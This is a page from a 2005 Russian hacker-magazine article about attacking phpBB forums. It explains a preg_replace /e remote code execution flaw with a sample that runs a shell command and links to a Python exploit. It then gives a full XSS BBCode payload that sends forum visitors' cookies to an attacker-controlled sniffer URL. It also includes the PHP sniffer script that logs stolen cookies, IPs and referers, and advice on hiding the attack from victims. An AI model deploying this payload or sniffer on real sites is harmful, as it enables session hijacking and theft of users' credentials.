Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #83, НОЯБРЬ 2005 г.

Итоги форумной войны

Степан Ильин aka Step

Хакер, номер #083, стр. 083-072-4


Все это безобразие становится возможным из-за неправильного использования функции preg_replace(), вызываемой в сценарии viewtopic.php. Объясню на примере.

<?

$string1="system(“uname -a”)";

$string2=preg_replace('//e',$string1,'');

?>

Ключ «e» функции preg_replace указывает на то, что $string1 нужно интерпретировать как PHP-код, т.е. данный пример выполнит на сервере команду uname –a. Если правильно составить запрос к функции подсветки, то внедрить можно совершенно любой код и соответственный выполнить на удаленном сервере любую команду. Эксплоит, написанный на python, можно скачать отсюда — www.securitylab.ru/_Exploits/2005/07/phpbb2015.py.

Примечательно, что эта уязвимость стала логическим развитием критического бага, исправленного еще в phpBB 2.0.11. При всей любви хакеров к phpBB, ее разработчики почему-то довольно халтурно зализывают многочисленные ошибки, даже критические.

[phpBB <=2.0.16 — межсайтовый скриптинг]

Для начала давай вспомним, что из себя представляет межсайтовый скиптинг (Cross Site Scripting). XSS-нападение подразумевает, что хакеру удалось инъектировать свой HTML-код в уязвимый сценарий. В большинстве случаев этот код представляет небольшой JavaScript-сценарий, предназначенный для кражи конфиденциальной информации о пользователях (их cookies, идентификаторы сессий и т.д.). Иногда XSS позволяет обойти механизм аутентификации, а в некоторых случаях — даже выполнить произвольную команду на стороне сервере.

Не буду таить: в phpBB подобный багов полно. Наиболее универсальная уязвимость, которая присуще всем phpBB <=2.0.16, была найдена в коде обработки тега [URL]. Недостаточно продуманные регеспы позволяют сделать вложенные BB-теги URL и инъектировать JavaScript-код. Весь эксплоит (antichat.ru/txt/phpbb/)выглядит следующим образом:

[color=ЦВЕТ_ФОНА][url]www.ut[url=www.s=''style='font-size:0;color:ЦВЕТ_ФОНА'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://tvoi_server.ru/cgi-bin/sniff.php?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]

Эксплоит, написанный Zadoxlik с antichat.ru, отсылает куки посетителей форума на специальный скрипт-снифер, расположенный по адресу http://tvoi_server.ru/cgi-bin/sniff.php. Этот скрипт может быть установлен на любом бесплатном хостинге с возможностью использования PHP:

<?php

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$date=date("j F, Y, g:i a");

$referer=getenv ('HTTP_REFERER');

$fp = fopen('cookies.txt', 'a');

fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');

fclose($fp);

?>

Ты, наверное, заметил, что в коде эксплоита есть странный параметр — ЦВЕТ_ФОНА. Автор эксплоита сделал это неслучайно. Дело в том, что эксплоит сработает только у посетителей, использующих Internet Explorer. Opera и Firefox воспринимают такой код некорректно и выводят сообщения об ошибке. Чтобы не выдавать себя, эксплоит маскирует их, отображая сообщения об ошибках цветом фона, т.е. делает их невидимыми. Этот цвет можно взять из текущего шаблона, в частности для стандартной темы он равен — #EFEFEF.

Назад на стр. 083-072-3  Содержание  Вперед на стр. 083-072-5